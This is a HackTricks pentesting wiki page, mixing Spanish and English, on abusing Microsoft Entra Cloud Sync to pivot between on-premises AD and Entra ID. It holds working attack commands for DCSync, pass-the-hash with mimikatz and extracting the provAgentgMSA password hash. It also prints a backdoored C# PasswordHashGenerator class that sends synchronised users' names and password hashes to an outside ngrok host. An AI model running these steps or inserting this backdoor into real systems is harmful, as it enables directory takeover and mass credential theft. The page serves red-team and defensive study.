Az - Cloud Sync

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

Cloud Sync es básicamente la nueva forma de Azure para sincronizar los usuarios desde AD hacia Entra ID.

De la documentación: Microsoft Entra Cloud Sync es una nueva oferta de Microsoft diseñada para cumplir y alcanzar tus objetivos de identidad híbrida para la sincronización de usuarios, grupos y contactos hacia Microsoft Entra ID. Lo logra usando el agente de aprovisionamiento en la nube de Microsoft Entra en lugar de la aplicación Microsoft Entra Connect. Sin embargo, puede usarse junto a Microsoft Entra Connect Sync.

Principales generados

Para que esto funcione se crean algunos principals tanto en Entra ID como en el directorio on-premise:

  • In Entra ID the user On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) is created with the role Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

Warning

This role used to have a lot of privileged permissions and it could be used to escalate privileges even to global admin. However, Microsoft decided to remove all the privileges of this role and assign it just a new one microsoft.directory/onPremisesSynchronization/standard/read which doesn’t really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP).

  • In Entra ID also the group AAD DC Administrators is created without members or owners. This group is useful if Microsoft Entra Domain Services is used.

  • In the AD, either the Service Account provAgentgMSA is created with a SamAcountName like pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), or a custom one with these permissions is needed. Usually the default one is created.

Warning

Among other permissions the Service Account provAgentgMSA has DCSync permissions, allowing anyone that compromises it to compromise the whole directory. For more information about DCSync check this.

Note

By default users of known privileged groups like Domain Admins with the attribute adminCount to 1 are not synchronized with Entra ID for security reasons. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly can be synchronized.

Sincronización de contraseñas

The section is very similar to the one from:

Az - Connect Sync

  • Password hash synchronization can be enabled so users will be able to login into Entra ID using their passwords from AD. Moreover, whenever a password is modified in AD, it’ll be updated in Entra ID.
  • Password writeback can also be enabled, allowing users to modify their password in Entra ID automatically synchronizing their password in the on-premise domain. But according to the current docs, for this is needed to use the Connect Agent, so take a look to the Az Connect Sync section for more information.
  • Groups writeback: This feature allows group memberships from Entra ID to be synchronized back to the on-premises AD. This means that if a user is added to a group in Entra ID, they will also be added to the corresponding group in AD.

Pivoting

AD –> Entra ID

  • If the AD users are being synced from the AD to Entra ID, pivoting from AD to Entra ID is straightforward, just compromise some user’s password or change some user’s password or create a new user and wait until it’s synced into the Entra ID directory (usually only a few mins).

So you could for example

  • Compromise the provAgentgMSA account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID.
  • Just create a new user in the AD, wait until it’s synced into Entra ID and then use it to login into Entra ID.
  • Modify the password of some user in the AD, wait until it’s synced into Entra ID and then use it to login into Entra ID.

To compromise the provAgentgMSA credentials:

# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Ahora podrías usar el hash del gMSA para realizar un ataque Pass-the-Hash contra Entra ID usando la cuenta provAgentgMSA y mantener persistencia, pudiendo realizar ataques DCSync contra el AD.

For more information about how to compromise an Active Directory check:

Active Directory Methodology - HackTricks

Note

Ten en cuenta que no existe ninguna forma de asignar Azure or EntraID roles a usuarios sincronizados basándose en sus atributos, por ejemplo en las configuraciones de Cloud Sync. Sin embargo, para otorgar permisos automáticamente a usuarios sincronizados, algunos Entra ID groups from AD podrían recibir permisos para que los usuarios sincronizados dentro de esos grupos también los obtengan, o podrían usarse dynamic groups, así que revisa siempre las reglas dinámicas y posibles formas de abusarlas:

Az - Dynamic Groups Privesc

Regarding persistence this blog post suggest that it’s possible to use dnSpy to backdoor the dll Microsoft.Online.Passwordsynchronisation.dll located in C:\Program Files\Microsoft Azure AD Sync\Bin that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class PasswordHashGenerator and the blog post suggest adding some code so the class looks like (note the use System.Net and the WebClient usage to exfiltrate the password hashes):

using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

Entra ID –> AD

  • Si Password Writeback está habilitado, podrías modificar la contraseña de algunos usuarios desde Entra ID y, si tienes acceso a la red AD, conectarte con ellas. Para más información revisa la Az Connect Sync section ya que el password writeback se configura usando ese agente.

  • En este momento Cloud Sync también permite “Microsoft Entra ID to AD”, pero con el tiempo comprobé que NO PUEDE sincronizar usuarios de EntraID a AD y que solo puede sincronizar usuarios de EntraID que fueron sincronizados con el hash de contraseña y que provienen de un dominio que pertenece al mismo bosque de dominios que el dominio al que estamos sincronizando, como puedes leer en https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

  • Estos grupos solo pueden contener usuarios sincronizados locales y/o grupos de seguridad adicionales creados en la nube.
  • Las cuentas de usuario locales que están sincronizadas y son miembros de este grupo de seguridad creado en la nube pueden ser del mismo dominio o de dominios cruzados, pero todas deben pertenecer al mismo bosque.

Entonces la superficie de ataque (y la utilidad) de este servicio se reduce considerablemente, ya que un atacante necesitaría comprometer el AD inicial desde el cual se están sincronizando los usuarios para poder comprometer a un usuario en el otro dominio (y ambos deben estar aparentemente en el mismo bosque).

Enumeration

# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks